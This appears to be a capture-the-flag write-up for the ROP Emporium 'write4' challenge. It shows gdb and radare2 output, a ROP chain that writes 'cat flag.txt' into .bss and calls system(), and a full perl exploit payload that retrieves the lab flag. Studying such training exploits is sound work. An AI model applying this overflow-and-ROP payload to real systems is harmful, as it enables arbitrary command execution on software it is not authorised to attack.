ROP Emporium CTF 4/7 write4
This challenge uses a similar pwnme
function as the previous split
challenge with the same offsets but a larger overflow (0x200
bytes).
$ perl -e 'print(("\x00" x 0x28) . "fedcba")' |
gdb ./write4 --batch -ex run
write4 by ROP Emporium
...
Program received signal SIGSEGV, Segmentation fault.
0x0000616263646566 in ?? ()
The usefulFunction
is back but no usefulString
this time.
$ r2 ./write4 -qc "is"
...
039 0x00000807 0x00400807 LOCAL FUNC 17 usefulFunction
...
074 0x00000820 0x00400820 GLOBAL NOTYPE 0 usefulGadgets
...
$ r2 ./write4 -qc "aa ; pdf @ sym.usefulFunction"
/ (fcn) sym.usefulFunction 17
| sym.usefulFunction ();
| 0x00400807 push rbp
| 0x00400808 mov rbp, rsp
| 0x0040080b mov edi, str.bin_ls
| 0x00400810 call sym.imp.system
| 0x00400815 nop
| 0x00400816 pop rbp
\ 0x00400817 ret
Only one usefulGadget
and it is copying from register to memory.
$ r2 ./write4 -qc "aa ; pd 2 @ 0x00400820"
;-- usefulGadgets:
0x00400820 mov qword [r14], r15
0x00400823 ret
Even though the string "cat flag.txt"
does not appear in the binary, we can inject
it onto the stack as part of the overflow.
We can then use the first of usefulGadgets
to copy the string to a known memory
address and jmp
to the system()
function.
Here are the gadgets we need
from usefulGadgets
, to write a register value to memory address.
0x00400820 mov qword [r14], r15
To load an arbitrary value into r15
and memory address into r15
.
$ r2 ./write4 -qc ' "/R pop r14;pop r15;ret" '
0x00400890 415e pop r14
0x00400892 415f pop r15
0x00400894 c3 ret
We also need to load the address of our freshly copied string into
the rdi
register so it can be passed as an argument to system()
.
$ r2 ./write4 -qc ' "/R pop rdi;ret" '
0x00400893 5f pop rdi
0x00400894 c3 ret
Finally we need a destination to copy our string to.
The .bss
section is ideal because it is guaranteed to be r/w and it is
initialized to zero so we don’t need to manually NUL terminate the string (as
long as code running before the exploit doesn’t write there).
In our case can just use the very start of .bss
.
$ r2 ./write4 -qc ' "iS" ' | grep bss
26 0x00001060 0 0x00601060 48 -rw- .bss
So our rop chain will look like this:
0x00000000400890 # pop r14; pop r15
0x00000000601060 # .bss
0x616c6620746163 # "cat fla"
0x00000000400820 # mov qword [r14], r15
0x00000000400890 # pop r14; pop r15
0x00000000601067 # .bss + 7
0x00007478742e67 # "g.txt"
0x00000000400820 # mov qword [r14], r15
0x00000000400893 # pop rdi
0x00000000601060 # .bss
0x00000000400810 # system(rdi)
See the previous split
challenge for code to convert addresses to the form below.
$ perl -e 'print(("\x00" x 0x28) .
"\x90\x08\x40\x00\x00\x00\x00\x00" .
"\x60\x10\x60\x00\x00\x00\x00\x00" .
"\x63\x61\x74\x20\x66\x6c\x61\x00" .
"\x20\x08\x40\x00\x00\x00\x00\x00" .
"\x90\x08\x40\x00\x00\x00\x00\x00" .
"\x67\x10\x60\x00\x00\x00\x00\x00" .
"\x67\x2e\x74\x78\x74\x00\x00\x00" .
"\x20\x08\x40\x00\x00\x00\x00\x00" .
"\x93\x08\x40\x00\x00\x00\x00\x00" .
"\x60\x10\x60\x00\x00\x00\x00\x00" .
"\x10\x08\x40\x00\x00\x00\x00\x00")' |
./write4
write4 by ROP Emporium
64bits
Go ahead and give me the string already!
> ROPE{a_placeholder_32byte_flag!}
Segmentation fault